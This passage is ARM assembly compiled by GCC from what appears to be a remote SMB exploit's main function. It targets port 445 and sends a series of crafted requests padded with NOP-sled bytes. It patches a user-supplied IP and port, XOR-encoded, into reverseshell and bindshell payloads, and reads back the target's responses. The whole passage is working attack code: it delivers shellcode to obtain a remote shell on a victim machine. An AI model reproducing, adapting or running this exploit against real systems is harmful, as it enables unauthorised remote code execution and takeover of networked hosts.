	sub	r3, r3, #12
	sub	r3, r3, #124
	mov	r1, r3
	mov	r0, r4
	bl	memcpy
	sub	r3, fp, #35072
	sub	r3, r3, #12
	sub	r3, r3, #164
	mov	r0, r3
	bl	strlen
	mov	r3, r0
	lsl	r3, r3, #1
	add	r2, r3, #47
	sub	r3, fp, #35072
	sub	r3, r3, #12
	sub	r3, r3, #44
	add	r3, r3, r2
	ldr	r1, .L38+28
	mov	r2, #9
	mov	r0, r3
	bl	memcpy
	sub	r3, fp, #35072
	sub	r3, r3, #12
	sub	r3, r3, #164
	mov	r0, r3
	bl	strlen
	mov	r3, r0
	and	r3, r3, #255
	add	r3, r3, #26
	and	r3, r3, #255
	lsl	r3, r3, #1
	and	r2, r3, #255
	sub	r3, fp, #32768
	sub	r3, r3, #12
	strb	r2, [r3, #-2534]
	sub	r3, fp, #35072
	sub	r3, r3, #12
	sub	r3, r3, #44
	add	r3, r3, #3
	sub	r2, fp, #32768
	sub	r2, r2, #12
	ldrb	r2, [r2, #-2534]	@ zero_extendqisi2
	strb	r2, [r3]
	sub	r3, fp, #35072
	sub	r3, r3, #12
	sub	r3, r3, #164
	mov	r0, r3
	bl	strlen
	mov	r3, r0
	and	r3, r3, #255
	lsl	r3, r3, #1
	and	r3, r3, #255
	add	r3, r3, #9
	and	r2, r3, #255
	sub	r3, fp, #32768
	sub	r3, r3, #12
	strb	r2, [r3, #-2533]
	sub	r3, fp, #35072
	sub	r3, r3, #12
	sub	r3, r3, #44
	add	r3, r3, #45
	sub	r2, fp, #32768
	sub	r2, r2, #12
	ldrb	r2, [r2, #-2533]	@ zero_extendqisi2
	strb	r2, [r3]
	sub	r3, fp, #32768
	sub	r3, r3, #12
	ldr	r3, [r3, #-2540]
	cmp	r3, #4
	ble	.L10
	sub	r3, fp, #32768
	sub	r3, r3, #12
	ldr	r3, [r3, #-2544]
	add	r3, r3, #16
	ldr	r3, [r3]
	mov	r2, #2
	ldr	r1, .L38+32
	mov	r0, r3
	bl	memcmp
	mov	r3, r0
	cmp	r3, #0
	bne	.L10
	sub	r3, fp, #32768
	sub	r3, r3, #12
	mov	r2, r3
	mov	r3, #1
	str	r3, [r2, #-2520]
.L10:
	sub	r3, fp, #32768
	sub	r3, r3, #12
	ldr	r3, [r3, #-2540]
	cmp	r3, #4
	ble	.L11
	sub	r3, fp, #32768
	sub	r3, r3, #12
	ldr	r3, [r3, #-2520]
	cmp	r3, #0
	bne	.L11
	sub	r3, fp, #32768
	sub	r3, r3, #12
	ldr	r3, [r3, #-2544]
	add	r3, r3, #12
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	lsl	r3, r3, #16
	lsr	r3, r3, #16
	mov	r0, r3
	bl	htons
	mov	r3, r0
	mov	r2, r3
	ldr	r3, .L38+36
	eor	r3, r3, r2
	lsl	r3, r3, #16
	lsr	r2, r3, #16
	sub	r3, fp, #32768
	sub	r3, r3, #12
	sub	r3, r3, #2528
	sub	r3, r3, #4
	strh	r2, [r3]	@ movhi
	sub	r3, fp, #32768
	sub	r3, r3, #12
	ldr	r3, [r3, #-2544]
	add	r3, r3, #16
	ldr	r3, [r3]
	mov	r0, r3
	bl	inet_addr
	mov	r2, r0
	ldr	r3, .L38+40
	eor	r3, r3, r2
	sub	r2, fp, #32768
	sub	r2, r2, #12
	str	r3, [r2, #-2528]
	sub	r3, fp, #32768
	sub	r3, r3, #12
	sub	r3, r3, #2528
	sub	r3, r3, #4
	ldrh	r3, [r3]
	ldr	r2, .L38+44
	strh	r3, [r2, #118]	@ movhi
	sub	r3, fp, #35072
	sub	r3, r3, #12
	sub	r3, r3, #224
	mov	r2, #4
	mov	r1, r3
	ldr	r0, .L38+48
	bl	memcpy
	sub	r3, fp, #32768
	sub	r3, r3, #12
	mov	r2, r3
	ldr	r3, .L38+44
	str	r3, [r2, #-2516]
	b	.L12
.L11:
	sub	r3, fp, #32768
	sub	r3, r3, #12
	ldr	r3, [r3, #-2544]
	add	r3, r3, #12
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	lsl	r3, r3, #16
	lsr	r3, r3, #16
	mov	r0, r3
	bl	htons
	mov	r3, r0
	mov	r2, r3
	ldr	r3, .L38+36
	eor	r3, r3, r2
	lsl	r3, r3, #16
	lsr	r2, r3, #16
	sub	r3, fp, #32768
	sub	r3, r3, #12
	sub	r3, r3, #2528
	sub	r3, r3, #4
	strh	r2, [r3]	@ movhi
	sub	r3, fp, #32768
	sub	r3, r3, #12
	sub	r3, r3, #2528
	sub	r3, r3, #4
	ldrh	r3, [r3]
	ldr	r2, .L38+52
	strh	r3, [r2, #176]	@ movhi
	sub	r3, fp, #32768
	sub	r3, r3, #12
	mov	r2, r3
	ldr	r3, .L38+52
	str	r3, [r2, #-2516]
.L12:
	sub	r3, fp, #32768
	sub	r3, r3, #12
	ldr	r3, [r3, #-2544]
	add	r3, r3, #4
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	cmp	r3, #1
	beq	.L13
	sub	r3, fp, #32768
	sub	r3, r3, #12
	ldr	r3, [r3, #-2544]
	add	r3, r3, #4
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	cmp	r3, #2
	bne	.L14
.L13:
	sub	r3, fp, #31232
	sub	r3, r3, #12
	sub	r3, r3, #164
	ldr	r2, .L38+56
	mov	r1, #144
	mov	r0, r3
	bl	memset
	sub	r3, fp, #32768
	sub	r3, r3, #12
	ldr	r3, [r3, #-2544]
	add	r3, r3, #4
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r2, r0
	mov	r3, r2
	lsl	r3, r3, #4
	sub	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r3, #56
	ldr	r2, .L38+60
	add	r1, r3, r2
	sub	r3, fp, #31232
	sub	r3, r3, #12
	sub	r3, r3, #164
	add	r3, r3, #2016
	add	r3, r3, #4
	mov	r2, #4
	mov	r0, r3
	bl	memcpy
	sub	r3, fp, #32768
	sub	r3, r3, #12
	ldr	r0, [r3, #-2516]
	bl	strlen
	mov	r2, r0
	sub	r3, fp, #32768
	sub	r3, r3, #12
	mov	r1, r3
	sub	r3, fp, #31232
	sub	r3, r3, #12
	sub	r3, r3, #164
	add	r3, r3, #2032
	add	r3, r3, #4
	ldr	r1, [r1, #-2516]
	mov	r0, r3
	bl	memcpy
	sub	r3, fp, #31232
	sub	r3, r3, #12
	sub	r3, r3, #164
	add	r3, r3, #2832
	add	r3, r3, #8
	mov	r2, #4
	ldr	r1, .L38+64
	mov	r0, r3
	bl	memcpy
	sub	r3, fp, #32768
	sub	r3, r3, #12
	ldr	r3, [r3, #-2544]
	add	r3, r3, #4
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r2, r0
	mov	r3, r2
	lsl	r3, r3, #4
	sub	r3, r3, r2
	lsl	r3, r3, #2
	add	r3, r3, #56
	ldr	r2, .L38+60
	add	r1, r3, r2
	sub	r3, fp, #31232
	sub	r3, r3, #12
	sub	r3, r3, #164
	add	r3, r3, #2832
	add	r3, r3, #12
	mov	r2, #4
	mov	r0, r3
	bl	memcpy
	sub	r3, fp, #32768
	sub	r3, r3, #12
	ldr	r0, [r3, #-2516]
	bl	strlen
	mov	r2, r0
	sub	r3, fp, #32768
	sub	r3, r3, #12
	mov	r1, r3
	sub	r3, fp, #31232
	sub	r3, r3, #12
	sub	r3, r3, #164
	add	r3, r3, #2848
	add	r3, r3, #8
	ldr	r1, [r1, #-2516]
	mov	r0, r3
	bl	memcpy
	sub	r3, fp, #32768
	sub	r3, r3, #12
	mov	r2, r3
	mov	r3, #0
	str	r3, [r2, #-2524]
	b	.L15
.L16:
	sub	r3, fp, #32768
	sub	r3, r3, #12
	ldr	r3, [r3, #-2524]
	lsl	r2, r3, #1
	sub	r3, fp, #28672
	sub	r3, r3, #12
	mov	r1, r3
	sub	r3, fp, #32768
	sub	r3, r3, #12
	ldr	r3, [r3, #-2524]
	add	r3, r1, r3
	sub	r3, r3, #2720
	sub	r3, r3, #4
	ldrb	r1, [r3]	@ zero_extendqisi2
	sub	r3, fp, #20480
	sub	r3, r3, #12
	add	r3, r3, r2
	mov	r2, r1
	strb	r2, [r3, #-3344]
	sub	r3, fp, #32768
	sub	r3, r3, #12
	ldr	r3, [r3, #-2524]
	lsl	r3, r3, #1
	add	r3, r3, #1
	sub	r2, fp, #20480
	sub	r2, r2, #12
	add	r3, r2, r3
	mov	r2, #0
	strb	r2, [r3, #-3344]
	sub	r3, fp, #32768
	sub	r3, r3, #12
	mov	r2, r3
	sub	r3, fp, #32768
	sub	r3, r3, #12
	ldr	r3, [r3, #-2524]
	add	r3, r3, #1
	str	r3, [r2, #-2524]
.L15:
	sub	r3, fp, #32768
	sub	r3, r3, #12
	ldr	r3, [r3, #-2524]
	ldr	r2, .L38+68
	cmp	r3, r2
	ble	.L16
	sub	r3, fp, #20480
	sub	r3, r3, #12
	mov	r2, #0
	strb	r2, [r3, #3656]
	sub	r3, fp, #20480
	sub	r3, r3, #12
	mov	r2, #0
	strb	r2, [r3, #3657]
	sub	r3, fp, #16640
	sub	r3, r3, #12
	sub	r3, r3, #180
	ldr	r2, .L38+72
	mov	r1, #49
	mov	r0, r3
	bl	memset
	sub	r3, fp, #8384
	sub	r3, r3, #12
	sub	r3, r3, #28
	ldr	r2, .L38+72
	mov	r1, #49
	mov	r0, r3
	bl	memset
	b	.L17
.L14:
	sub	r3, fp, #33280
	sub	r3, r3, #12
	sub	r3, r3, #116
	mov	r2, #2000
	mov	r1, #144
	mov	r0, r3
	bl	memset
	sub	r4, fp, #33280
	sub	r4, r4, #12
	sub	r4, r4, #116
	add	r4, r4, #160
	sub	r3, fp, #32768
	sub	r3, r3, #12
	ldr	r0, [r3, #-2516]
	bl	strlen
	mov	r3, r0
	sub	r2, fp, #32768
	sub	r2, r2, #12
	mov	r1, r2
	mov	r2, r3
	ldr	r1, [r1, #-2516]
	mov	r0, r4
	bl	memcpy
	sub	r4, fp, #33280
	sub	r4, r4, #12
	sub	r4, r4, #116
	add	r3, r4, #1968
	add	r3, r3, #12
	mov	r4, r3
	sub	r3, fp, #35072
	sub	r3, r3, #12
	sub	r3, r3, #172
	mov	r0, r3
	bl	strlen
	mov	r2, r0
	sub	r3, fp, #35072
	sub	r3, r3, #12
	sub	r3, r3, #172
	mov	r1, r3
	mov	r0, r4
	bl	memcpy
	sub	r3, fp, #32768
	sub	r3, r3, #12
	ldr	r3, [r3, #-2544]
	add	r3, r3, #4
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r1, r0
	sub	r3, fp, #33280
	sub	r3, r3, #12
	sub	r3, r3, #116
	add	r2, r3, #1952
	add	r2, r2, #12
	ldr	r0, .L38+60
	mov	r3, r1
	lsl	r3, r3, #4
	sub	r3, r3, r1
	lsl	r3, r3, #2
	add	r3, r0, r3
	add	r3, r3, #56
	ldr	r3, [r3]
	str	r3, [r2]
.L17:
	sub	r3, fp, #27648
	sub	r3, r3, #12
	sub	r3, r3, #244
	ldr	r2, .L38+76
	mov	r1, #49
	mov	r0, r3
	bl	memset
	sub	r3, fp, #32768
	sub	r3, r3, #12
	ldr	r3, [r3, #-2544]
	add	r3, r3, #8
	ldr	r3, [r3]
	sub	r2, fp, #32768
	sub	r2, r2, #12
	mov	r4, r2
	mov	r0, r3
	bl	gethostbyname
	str	r0, [r4, #-2504]
	sub	r3, fp, #32768
	sub	r3, r3, #12
	ldr	r3, [r3, #-2504]
	cmp	r3, #0
	bne	.L18
	ldr	r0, .L38+80
	bl	perror
	mov	r0, #1
	bl	exit
.L18:
	sub	r3, fp, #32768
	sub	r3, r3, #12
	mov	r4, r3
	mov	r2, #0
	mov	r1, #1
	mov	r0, #2
	bl	socket
	str	r0, [r4, #-2500]
	sub	r3, fp, #32768
	sub	r3, r3, #12
	ldr	r3, [r3, #-2500]
	cmn	r3, #1
	bne	.L19
	ldr	r0, .L38+84
	bl	perror
	mov	r0, #1
	bl	exit
.L19:
	sub	r3, fp, #32768
	sub	r3, r3, #12
	sub	r3, r3, #2480
	sub	r3, r3, #12
	mov	r2, #2
	strh	r2, [r3]	@ movhi
	sub	r3, fp, #32768
	sub	r3, r3, #12
	sub	r3, r3, #2528
	sub	r3, r3, #2
	ldrh	r3, [r3]
	mov	r0, r3
	bl	htons
	mov	r3, r0
	mov	r2, r3
	sub	r3, fp, #32768
	sub	r3, r3, #12
	sub	r3, r3, #2480
	sub	r3, r3, #12
	strh	r2, [r3, #2]	@ movhi
	sub	r3, fp, #32768
	sub	r3, r3, #12
	ldr	r3, [r3, #-2504]
	ldr	r3, [r3, #16]
	ldr	r3, [r3]
	sub	r2, fp, #32768
	sub	r2, r2, #12
	ldr	r3, [r3]
	str	r3, [r2, #-2488]
	sub	r3, fp, #35072
	sub	r3, r3, #12
	sub	r3, r3, #188
	add	r3, r3, #8
	mov	r2, #8
	mov	r1, #0
	mov	r0, r3
	bl	memset
	sub	r3, fp, #32768
	sub	r3, r3, #12
	ldr	r3, [r3, #-2544]
	add	r3, r3, #8
	ldr	r4, [r3]
	sub	r3, fp, #32768
	sub	r3, r3, #12
	ldr	r3, [r3, #-2544]
	add	r3, r3, #4
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r2, r0
	mov	r3, r2
	lsl	r3, r3, #4
	sub	r3, r3, r2
	lsl	r3, r3, #2
	ldr	r2, .L38+60
	add	r3, r3, r2
	add	r3, r3, #4
	mov	r2, r3
	mov	r1, r4
	ldr	r0, .L38+88
	bl	printf
	sub	r3, fp, #32768
	sub	r3, r3, #12
	ldr	r3, [r3, #-2544]
	add	r3, r3, #8
	ldr	r3, [r3]
	mov	r1, r3
	ldr	r0, .L38+92
	bl	printf
	sub	r3, fp, #35072
	sub	r3, r3, #12
	sub	r3, r3, #188
	sub	r2, fp, #32768
	sub	r2, r2, #12
	mov	r0, r2
	mov	r2, #16
	mov	r1, r3
	ldr	r0, [r0, #-2500]
	bl	connect
	mov	r3, r0
	cmn	r3, #1
	bne	.L20
	sub	r3, fp, #32768
	sub	r3, r3, #12
	ldr	r3, [r3, #-2544]
	add	r3, r3, #8
	ldr	r3, [r3]
	mov	r1, r3
	ldr	r0, .L38+96
	bl	printf
	mov	r0, #1
	bl	exit
.L20:
	ldr	r0, .L38+172
	bl	puts
	sub	r3, fp, #32768
	sub	r3, r3, #12
	mov	r0, r3
	mov	r3, #0
	mov	r2, #137
	ldr	r1, .L38+100
	ldr	r0, [r0, #-2500]
	bl	send
	mov	r3, r0
	cmn	r3, #1
	bne	.L21
	ldr	r0, .L38+168
	bl	puts
	mov	r0, #1
	bl	exit
.L21:
	sub	r3, fp, #32768
	sub	r3, r3, #12
	mov	r4, r3
	sub	r1, fp, #34816
	sub	r1, r1, #12
	sub	r1, r1, #180
	sub	r3, fp, #32768
	sub	r3, r3, #12
	mov	r0, r3
	mov	r3, #0
	mov	r2, #1600
	ldr	r0, [r0, #-2500]
	bl	recv
	str	r0, [r4, #-2496]
	sub	r3, fp, #32768
	sub	r3, r3, #12
	mov	r0, r3
	mov	r3, #0
	mov	r2, #168
	ldr	r1, .L38+104
	ldr	r0, [r0, #-2500]
	bl	send
	mov	r3, r0
	cmn	r3, #1
	bne	.L22
	ldr	r0, .L38+168
	bl	puts
	mov	r0, #1
	bl	exit
.L22:
	sub	r3, fp, #32768
	sub	r3, r3, #12
	mov	r4, r3
	sub	r1, fp, #34816
	sub	r1, r1, #12
	sub	r1, r1, #180
	sub	r3, fp, #32768
	sub	r3, r3, #12
	mov	r0, r3
	mov	r3, #0
	mov	r2, #1600
	ldr	r0, [r0, #-2500]
	bl	recv
	str	r0, [r4, #-2496]
	sub	r3, fp, #32768
	sub	r3, r3, #12
	mov	r0, r3
	mov	r3, #0
	mov	r2, #222
	ldr	r1, .L38+108
	ldr	r0, [r0, #-2500]
	bl	send
	mov	r3, r0
	cmn	r3, #1
	bne	.L23
	ldr	r0, .L38+168
	bl	puts
	mov	r0, #1
	bl	exit
.L23:
	sub	r3, fp, #32768
	sub	r3, r3, #12
	mov	r4, r3
	sub	r1, fp, #34816
	sub	r1, r1, #12
	sub	r1, r1, #180
	sub	r3, fp, #32768
	sub	r3, r3, #12
	mov	r0, r3
	mov	r3, #0
	mov	r2, #1600
	ldr	r0, [r0, #-2500]
	bl	recv
	str	r0, [r4, #-2496]
	sub	r3, fp, #32768
	sub	r3, r3, #12
	ldr	r3, [r3, #-2540]
	cmp	r3, #5
	bgt	.L24
	sub	r3, fp, #32768
	sub	r3, r3, #12
	ldr	r3, [r3, #-2520]
	cmp	r3, #0
	beq	.L25
.L24:
	ldr	r0, .L38+112
	bl	printf
	sub	r3, fp, #32768
	sub	r3, r3, #12
	mov	r2, r3
	mov	r3, #0
	str	r3, [r2, #-2524]
	b	.L26
.L27:
	sub	r3, fp, #32768
	sub	r3, r3, #12
	ldr	r3, [r3, #-2524]
	add	r3, r3, #24
	lsl	r3, r3, #1
	sub	r2, fp, #32768
	sub	r2, r2, #12
	add	r3, r2, r3
	ldrb	r3, [r3, #-2228]	@ zero_extendqisi2
	mov	r0, r3
	bl	putchar
	sub	r3, fp, #32768
	sub	r3, r3, #12
	mov	r2, r3
	sub	r3, fp, #32768
	sub	r3, r3, #12
	ldr	r3, [r3, #-2524]
	add	r3, r3, #1
	str	r3, [r2, #-2524]
.L26:
	sub	r3, fp, #32768
	sub	r3, r3, #12
	ldr	r3, [r3, #-2524]
	cmp	r3, #11
	ble	.L27
	mov	r0, #10
	bl	putchar
	mov	r0, #0
	bl	exit
.L25:
	ldr	r0, .L38+116
	bl	printf
	sub	r3, fp, #32768
	sub	r3, r3, #12
	ldrb	r3, [r3, #-2534]	@ zero_extendqisi2
	add	r3, r3, #4
	mov	r2, r3
	sub	r1, fp, #35072
	sub	r1, r1, #12
	sub	r1, r1, #44
	sub	r3, fp, #32768
	sub	r3, r3, #12
	mov	r0, r3
	mov	r3, #0
	ldr	r0, [r0, #-2500]
	bl	send
	mov	r3, r0
	cmn	r3, #1
	bne	.L28
	ldr	r0, .L38+168
	bl	puts
	mov	r0, #1
	bl	exit
.L28:
	sub	r3, fp, #32768
	sub	r3, r3, #12
	mov	r4, r3
	sub	r1, fp, #34816
	sub	r1, r1, #12
	sub	r1, r1, #180
	sub	r3, fp, #32768
	sub	r3, r3, #12
	mov	r0, r3
	mov	r3, #0
	mov	r2, #1600
	ldr	r0, [r0, #-2500]
	bl	recv
	str	r0, [r4, #-2496]
	sub	r3, fp, #32768
	sub	r3, r3, #12
	mov	r0, r3
	mov	r3, #0
	mov	r2, #104
	ldr	r1, .L38+120
	ldr	r0, [r0, #-2500]
	bl	send
	mov	r3, r0
	cmn	r3, #1
	bne	.L29
	ldr	r0, .L38+168
	bl	puts
	mov	r0, #1
	bl	exit
.L29:
	sub	r3, fp, #32768
	sub	r3, r3, #12
	mov	r4, r3
	sub	r1, fp, #34816
	sub	r1, r1, #12
	sub	r1, r1, #180
	sub	r3, fp, #32768
	sub	r3, r3, #12
	mov	r0, r3
	mov	r3, #0
	mov	r2, #1600
	ldr	r0, [r0, #-2500]
	bl	recv
	str	r0, [r4, #-2496]
	sub	r3, fp, #32768
	sub	r3, r3, #12
	mov	r0, r3
	mov	r3, #0
	mov	r2, #160
	ldr	r1, .L38+124
	ldr	r0, [r0, #-2500]
	bl	send
	mov	r3, r0
	cmn	r3, #1
	bne	.L30
	ldr	r0, .L38+168
	bl	puts
	mov	r0, #1
	bl	exit
.L30:
	sub	r3, fp, #32768
	sub	r3, r3, #12
	mov	r4, r3
	sub	r1, fp, #34816
	sub	r1, r1, #12
	sub	r1, r1, #180
	sub	r3, fp, #32768
	sub	r3, r3, #12
	mov	r0, r3
	mov	r3, #0
	mov	r2, #1600
	ldr	r0, [r0, #-2500]
	bl	recv
	str	r0, [r4, #-2496]
	sub	r3, fp, #32768
	sub	r3, r3, #12
	ldr	r3, [r3, #-2544]
	add	r3, r3, #4
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	cmp	r3, #1
	beq	.L31
	sub	r3, fp, #32768
	sub	r3, r3, #12
	ldr	r3, [r3, #-2544]
	add	r3, r3, #4
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	cmp	r3, #2
	bne	.L32
.L31:
	sub	r3, fp, #16640
	sub	r3, r3, #12
	sub	r3, r3, #180
	mov	r2, #104
	ldr	r1, .L38+128
	mov	r0, r3
	bl	memcpy
	sub	r3, fp, #16640
	sub	r3, r3, #12
	sub	r3, r3, #180
	add	r3, r3, #104
	sub	r2, fp, #20480
	sub	r2, r2, #12
	mov	r0, r3
	sub	r3, r2, #3344
	ldr	r2, .L38+132
	mov	r1, r3
	bl	memcpy
	sub	r3, fp, #8384
	sub	r3, r3, #12
	sub	r3, r3, #28
	mov	r2, #112
	ldr	r1, .L38+136
	mov	r0, r3
	bl	memcpy
	sub	r3, fp, #8384
	sub	r3, r3, #12
	sub	r3, r3, #28
	add	r3, r3, #112
	sub	r1, fp, #23808
	sub	r1, r1, #12
	sub	r1, r1, #16
	add	r2, r1, #4224
	add	r2, r2, #20
	mov	r1, r2
	ldr	r2, .L38+140
	mov	r0, r3
	bl	memcpy
	sub	r3, fp, #8384
	sub	r3, r3, #12
	sub	r3, r3, #28
	add	r3, r3, #2864
	add	r3, r3, #4
	mov	r2, #132
	ldr	r1, .L38+144
	mov	r0, r3
	bl	memcpy
	sub	r1, fp, #16640
	sub	r1, r1, #12
	sub	r1, r1, #180
	sub	r3, fp, #32768
	sub	r3, r3, #12
	mov	r0, r3
	mov	r3, #0
	ldr	r2, .L38+148
	ldr	r0, [r0, #-2500]
	bl	send
	mov	r3, r0
	cmn	r3, #1
	bne	.L33
	ldr	r0, .L38+168
	bl	puts
	mov	r0, #1
	bl	exit
.L39:
	.align	2
.L38:
	.word	.LC23
	.word	.LC8
	.word	445
	.word	.LC9
	.word	.LC10
	.word	.LC11
	.word	req4
	.word	req4+87
	.word	.LC12
	.word	-26215
	.word	-1717986919
	.word	reverseshell
	.word	reverseshell+111
	.word	bindshell
	.word	3500
	.word	ttarget
	.word	.LC13
	.word	3499
	.word	7250
	.word	3625
	.word	.LC14
	.word	.LC15
	.word	.LC16
	.word	.LC17
	.word	.LC18
	.word	req1
	.word	req2
	.word	req3
	.word	.LC21
	.word	.LC22
	.word	req5
	.word	req6
	.word	req8
	.word	7002
	.word	req9
	.word	2654
	.word	shit3
	.word	4348
	.word	4060
	.word	req7
	.word	shit1
	.word	3320
	.word	.LC20
	.word	.LC19
	.word	.LC23
.L33:
	sub	r3, fp, #32768
	sub	r3, r3, #12
	mov	r4, r3
	sub	r1, fp, #34816
	sub	r1, r1, #12
	sub	r1, r1, #180
	sub	r3, fp, #32768
	sub	r3, r3, #12
	mov	r0, r3
	mov	r3, #0
	mov	r2, #1600
	ldr	r0, [r0, #-2500]
	bl	recv
	str	r0, [r4, #-2496]
	sub	r1, fp, #8384
	sub	r1, r1, #12
	sub	r1, r1, #28
	sub	r3, fp, #32768
	sub	r3, r3, #12
	mov	r0, r3
	mov	r3, #0
	ldr	r2, .L38+152
	ldr	r0, [r0, #-2500]
	bl	send
	mov	r3, r0
	cmn	r3, #1
	bne	.L35
	ldr	r0, .L38+168
	bl	puts
	mov	r0, #1
	bl	exit
.L32:
	sub	r3, fp, #27648
	sub	r3, r3, #12
	sub	r3, r3, #244
	mov	r2, #124
	ldr	r1, .L38+156
	mov	r0, r3
	bl	memcpy
	sub	r3, fp, #27648
	sub	r3, r3, #12
	sub	r3, r3, #244
	add	r3, r3, #124
	sub	r1, fp, #33280
	sub	r1, r1, #12
	sub	r1, r1, #116
	mov	r2, #2000
	mov	r0, r3
	bl	memcpy
	sub	r3, fp, #27648
	sub	r3, r3, #12
	sub	r3, r3, #244
	add	r3, r3, #2112
	add	r3, r3, #12
	mov	r2, #144
	ldr	r1, .L38+160
	mov	r0, r3
	bl	memcpy
	sub	r3, fp, #24576
	sub	r3, r3, #12
	mov	r2, #0
	strb	r2, [r3, #3]
	sub	r1, fp, #27648
	sub	r1, r1, #12
	sub	r1, r1, #244
	sub	r3, fp, #32768
	sub	r3, r3, #12
	mov	r0, r3
	mov	r3, #0
	ldr	r2, .L38+164
	ldr	r0, [r0, #-2500]
	bl	send
	mov	r3, r0
	cmn	r3, #1
	bne	.L35
	ldr	r0, .L38+168
	bl	puts
	mov	r0, #1
	bl	exit
.L35:
	ldr	r0, .L38+172
	bl	puts
	sub	r3, fp, #32768
	sub	r3, r3, #12
	mov	r4, r3
	sub	r1, fp, #34816
	sub	r1, r1, #12
	sub	r1, r1, #180
	sub	r3, fp, #32768
	sub	r3, r3, #12
	mov	r0, r3
	mov	r3, #0
	mov	r2, #1600
	ldr	r0, [r0, #-2500]
	bl	recv
	str	r0, [r4, #-2496]
	mov	r3, #0
	ldr	r2, .L38+176
	ldr	r1, [r2]
	ldr	r2, [fp, #-16]
	eors	r1, r2, r1
	mov	r2, #0
	beq	.L37
	bl	__stack_chk_fail
.L37:
	mov	r0, r3
	sub	sp, fp, #8
	@ sp needed
	pop	{r4, fp, pc}
	.size	main, .-main
	.ident	"GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
	.section	.note.GNU-stack,"",%progbits
